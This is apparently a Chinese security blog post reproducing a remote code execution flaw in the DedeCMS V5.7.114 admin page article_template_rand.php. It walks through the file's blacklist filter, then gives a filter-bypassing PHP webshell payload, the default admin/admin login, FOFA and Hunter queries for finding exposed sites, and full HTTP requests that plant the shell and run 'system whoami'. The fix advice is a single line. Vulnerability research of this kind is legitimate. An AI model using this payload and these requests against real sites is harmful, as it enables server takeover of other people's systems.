DedeCMSV5.7.114后台article_template_rand.php存在rce漏洞

0x01 产品简介

织梦内容管理系统(DedeCMS),是一个集内容发布、编辑、管理检索等于一体的网站管理系统(Web CMS),他拥有国外CMS众多特点之外,还结合中国用户的需要,对内容管理系统概念进行明确分析和定位。

0x02 漏洞描述

DedeCMS V5.7.114 存在远程代码执行漏洞。造成此漏洞的原因是,尽管article_template_rand.php对编辑的文件施加了一定的限制,但攻击者仍然可以绕过这些限制并以某种方式编写代码,从而允许经过身份验证的攻击者利用该漏洞执行任意命令并获得系统权限。

0x03 影响版本

DedeCMS V5.7.114

0x04 搜索语法

FOFA

1
app="DedeCMS网站内容管理系统"

hunter

1
app.name="DedeCMS"

0x05 漏洞复现

该漏洞是由于article_template_rand.php 的限制,没有过滤充分,导致攻击者可以绕过这个从而实现rce

根据php 代码可以发现有以下的过滤

1
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

可以理解为去除了注释/**/

可能是为了方式内联形式的攻击语句

1
2
3
4
5
6
function dede_htmlspecialchars($str) {
global $cfg_soft_lang;
if (version_compare(PHP_VERSION, '5.4.0', '<')) return htmlspecialchars($str, ENT_QUOTES);
if ($cfg_soft_lang=='gb2312') return htmlspecialchars($str, ENT_QUOTES, 'ISO-8859-1');
else return htmlspecialchars($str, ENT_QUOTES);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
$fp = fopen($m_file,'w');
fwrite($fp, '');
fclose($fp);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

$cfg_disable_funs 添加了代码执行/命令执行相关和可能造成危险的黑名单,防止被调用造成rce

然后使用一个foreach 进行逐个匹配

如何发现了函数名前存在任何的非小写字符,前后时候存在'\" 这三个字符,函数名后是否存在空格,或者函数调用时使用的字符,将会进行转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
$fp = fopen($m_file,'w');
fwrite($fp, '');
fclose($fp);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
$fp = fopen($m_file,'w');
fwrite($fp, '');
fclose($fp);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
$fp = fopen($m_file,'w');
fwrite($fp, '');
fclose($fp);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

$okmsg = '成功保存配置信息 AT:('.MyDate('H:i:s', time()).')';

第一个if 检测了php 代码开始的标志,如果有就会进入更严格的处理

php开始的标志

  1. 以”<?”开始和以”>”结束是PHP/FI 2.0 的标记,已经被替换。
  2. 以”<?php”开始和以”?>”结束是PHP 3.0开始的标准标记
  3. 以”<?”开始和以”?>”结束是PHP 3.0开始的标记,通过 php.ini 配置文件中的short_open_tag选项打开
  4. 以”<script language=”php”>”开始和以”</script>”结束是PHP 3.0开始的标记已经废弃。
  5. 以”<%”开始和以”%>”结束是PHP 3.0.4开始的标记

内层第一个if

匹配的是函数的调用过程

先匹配函数名调用还是,变量调用,然后匹配任意的参数,一直到) 然后进行空格和;的匹配

iU 关闭贪婪模式

函数的调用过程

  1. 无参数调用

  2. 带有参数调用

  3. 默认参数调用

  4. 可变参数调用

  5. 匿名函数

    1
    2
    3
    4
    5
    6
    7
    <?php
    $numbers = [8, 9, 10, 11, 12, 13, 0, 15];
    usort($numbers, function ($a, $b) {
    return $a - $b;
    });
    print_r($numbers);

  6. 引用传递参数

  7. 使用可选参数

  8. 使用数组展开

    1
    2
    3
    4
    5
    6
    function add($a, $b) {
    return $a + $b;
    }

    $args = [10, 20];
    echo add(...$args); // 输出: 30
  9. 使用命名参数(php 8.1 及以上)

    1
    2
    3
    4
    5
    function person_info(string $name, int $age, string $gender = "male") {
    return "$name is $age years old and is $gender.";
    }

    echo person_info(name: "John", age: 30, gender: "female"); // 输出: John is 30 years old and is female.
  10. 使用匿名函数作为回调

    1
    2
    array_map(function($item) { return $item * 2; }, [1, 2, 3]);
    // 输出: Array ( [0] => 2 [1] => 4 [2] => 6 )
  11. 使用对象方法作为回调

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class Math {
    public function double($num) {
    return $num * 2;
    }
    }

    $math = new Math();
    array_map([$math, 'double'], [1, 2, 3]);
    // 输出: Array ( [0] => 2 [1] => 4 [2] => 6 )
  12. 使用变量函数

    1
    2
    $func_name = 'strtoupper';
    echo $func_name("hello world"); // 输出: HELLO WORLD
  13. 带上@ 符号的函数调用

内层第二个if

主要还是用于匹配函数的调用

防止使用@ 符号的函数调用

内层第三个if

主要是为了防止命令执行``

如果上面的过程都通过了的话

那么就会将我们的模板放入./data/template.rand.php

image-20240730142449947

利用过程

image-20240730141746983

织梦官方默认admin/admin

image-20240730141847082

1
2
3
4
5
6
7
8
9
10
11
12
<?php

//这个值为 0 表示关闭此设置, 为 1 表示开启
$cfg_tamplate_rand = 0;

//模板数组,如果需要增加,按这个格式增加或修改即可(必须确保这些模板是存在的),并且数量必须为2个或以上。
$cfg_tamplate_arr[] = 'article_article.htm';
$cfg_tamplate_arr[] = 'article_article1.htm';
$cfg_tamplate_arr[] = 'article_article2.htm';
$a = '_POST';
$$a[1]($$a[0]);
?>

image-20240730142630401

image-20240730144142133

image-20240730144424207

尝试访问呢

image-20240730154437336

漏洞利用poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php

//这个值为 0 表示关闭此设置, 为 1 表示开启
$cfg_tamplate_rand = 0;

//模板数组,如果需要增加,按这个格式增加或修改即可(必须确保这些模板是存在的),并且数量必须为2个或以上。
$cfg_tamplate_arr[] = 'article_article.htm';
$cfg_tamplate_arr[] = 'article_article1.htm';
$cfg_tamplate_arr[] = 'article_article2.htm';
$a = '_POST';
$$a[1]($$a[0]);
?>

创建文件的数据包,但是织梦有csrf_token 可能只有手动创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dede/article_template_rand.php HTTP/1.1
Host: zm57114rce.com
Content-Length: 1111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://zm57114rce.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://zm57114rce.com/dede/article_template_rand.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=d2pdtr8qigb9g5da1cbkk545l3; _csrf_name_558973f2=0a88d85a34e426384872a4dc7d5a9268; _csrf_name_558973f21BH21ANI1AGD297L1FF21LN02BGE1DNG=bf1aa4ff89999395; XDEBUG_SESSION=XDEBUG_ECLIPSE; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=d2dc7998910eaa14; DedeLoginTime=1722327120; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=19c3000ae5121fd8
Connection: close

dopost=save&token=57d55c16e56ddb37ec905ca753021499&templates=%3C%3Fphp%0D%0A%0D%0A%2F%2F%E8%BF%99%E4%B8%AA%E5%80%BC%E4%B8%BA%2B0%2B%E8%A1%A8%E7%A4%BA%E5%85%B3%E9%97%AD%E6%AD%A4%E8%AE%BE%E7%BD%AE%EF%BC%8C%2B%E4%B8%BA%2B1%2B%E8%A1%A8%E7%A4%BA%E5%BC%80%E5%90%AF%0D%0A%24cfg_tamplate_rand%3D0%3B%0D%0A%0D%0A%2F%2F%E6%A8%A1%E6%9D%BF%E6%95%B0%E7%BB%84%EF%BC%8C%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%A2%9E%E5%8A%A0%EF%BC%8C%E6%8C%89%E8%BF%99%E4%B8%AA%E6%A0%BC%E5%BC%8F%E5%A2%9E%E5%8A%A0%E6%88%96%E4%BF%AE%E6%94%B9%E5%8D%B3%E5%8F%AF%28%E5%BF%85%E9%A1%BB%E7%A1%AE%E4%BF%9D%E8%BF%99%E4%BA%9B%E6%A8%A1%E6%9D%BF%E6%98%AF%E5%AD%98%E5%9C%A8%E7%9A%84%29%EF%BC%8C%E5%B9%B6%E4%B8%94%E6%95%B0%E9%87%8F%E5%BF%85%E9%A1%BB%E4%B8%BA2%E4%B8%AA%E6%88%96%E4%BB%A5%E4%B8%8A%E3%80%82%0D%0A%24cfg_tamplate_arr%5B%5D%3D%27article_article.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D%3D%27article_article1.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D%3D%27article_article2.htm%27%3B%0D%0A%24a%3D%22_POST%22%3B%0D%0A%24b%3D%27%24%27.%24a%3B%0D%0A%24_POST%5B1%5D%28%24_POST%5B0%5D%29%3B%0D%0A%3F%3E%0D%0A%0D%0A%0D%0A&imageField1.x=14&imageField1.y=15

命令执行数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /data/template.rand.php HTTP/1.1
Host: zm57114rce.com
Content-Length: 17s
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://zm57114rce.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://zm57114rce.com/data/template.rand.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d2pdtr8qigb9g5da1cbkk545l3; _csrf_name_558973f2=0a88d85a34e426384872a4dc7d5a9268; _csrf_name_558973f21BH21ANI1AGD297L1FF21LN02BGE1DNG=bf1aa4ff89999395
Connection: close

1=system&0=whoami

0x06 修复建议

更新版本或者打补丁

0x07 参考文章

[dedeCMS V5.7.114 article_template_rand.php code injection.md · 狗and猫/cve - Gitee.com](https://gitee.com/fushuling/cve/blob/master/dedeCMS V5.7.114 article_template_rand.php code injection.md)md)


DedeCMSV5.7.114后台article_template_rand.php存在rce漏洞
https://tsy244.github.io/2024/07/30/漏洞复现/DedeCMSV5-7-114后台article-template-rand-php存在rce漏洞/
Author
August Rosenberg
Posted on
July 30, 2024
Licensed under